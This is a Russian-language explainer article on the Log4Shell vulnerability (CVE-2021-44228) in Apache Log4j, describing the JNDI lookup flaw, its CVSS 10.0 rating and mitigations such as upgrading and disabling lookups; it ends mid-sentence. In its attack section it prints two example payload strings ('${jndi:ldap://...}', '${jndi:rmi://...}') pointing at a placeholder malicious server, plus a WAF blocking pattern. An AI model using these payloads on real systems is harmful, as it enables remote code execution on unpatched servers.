Критическая уязвимость в Java библиотеке Log4j ставит под угрозу миллионы серверов

Критическая уязвимость в популярной Java библиотеке Log4j: что нужно знать каждому разработчику

10 декабря 2021 года в сообществе Java-разработчиков произошло событие, которое эксперты по кибербезопасности уже назвали "одной из самых серьезных угроз десятилетия". Речь идет о критической уязвимости CVE-2021-44228 в библиотеке Apache Log4j — одном из самых популярных инструментов для логирования в Java-приложениях. Уязвимость позволяет злоумышленнику удаленно выполнить произвольный код (Remote Code Execution, RCE) на сервере, используя всего одну строку в поле ввода.

Что такое Log4j и почему это важно?

Log4j — это библиотека с открытым исходным кодом, которая используется практически во всех крупных Java-проектах: от корпоративных систем до облачных сервисов (Amazon, Apple, Twitter, Minecraft и тысячи других). Библиотека отвечает за запись событий (логов) — ошибок, предупреждений и отладочной информации. Уязвимость затрагивает версии Log4j с 2.0 по 2.14.1.

Как работает атака?

Проблема кроется в механизме JNDI (Java Naming and Directory Interface), который Log4j использует для подстановки значений из внешних источников. Злоумышленник может отправить HTTP-запрос с вредоносной строкой вида:

• ${jndi:ldap://зловредный-сервер/эксплойт}
• ${jndi:rmi://зловредный-сервер/эксплойт}

Если приложение логирует содержимое этого запроса (например, User-Agent или заголовок), Log4j выполняет JNDI-запрос к указанному серверу. В ответ сервер может загрузить на атакуемую машину вредоносный класс Java, что дает хакеру полный контроль над сервером.

Почему уязвимость называют критической?

Эксперты присвоили уязвимости максимальный рейтинг опасности — 10.0 из 10.0 по шкале CVSS. Причины:

• Простота эксплуатации — не требуется аутентификация или специальные навыки.
• Массовость — Log4j используется в миллионах приложений.
• Сложность обнаружения — атака может оставаться незаметной, так как не оставляет явных следов в стандартных логах.

Как защититься?

Разработчикам и администраторам необходимо немедленно предпринять следующие шаги:

• Обновить Log4j до версии 2.15.0 или выше — патч блокирует механизм JNDI-подстановок по умолчанию.
• Временно отключить JNDI — если обновление невозможно, добавьте JVM-параметр: -Dlog4j2.formatMsgNoLookups=true.
• Проверить зависимости — многие библиотеки (Spring Boot, Struts, Hibernate) включают Log4j как транзитивную зависимость. Используйте Maven/Gradle для поиска устаревших версий.
• Мониторить трафик — настройте правила WAF (Web Application Firewall) для блокировки запросов, содержащих ${jndi:.

Заключение

Уязвимость в Log4j — это напоминание о том, что даже самые проверенные компоненты могут содержать фатальные ошибки. Для Java-сообщества это событие стало поводом пересмотреть подход к управлению зависимостями и безопасности цепочки поставок программного обеспечения. Если вы используете Java в своих проектах, проверьте версию Log4j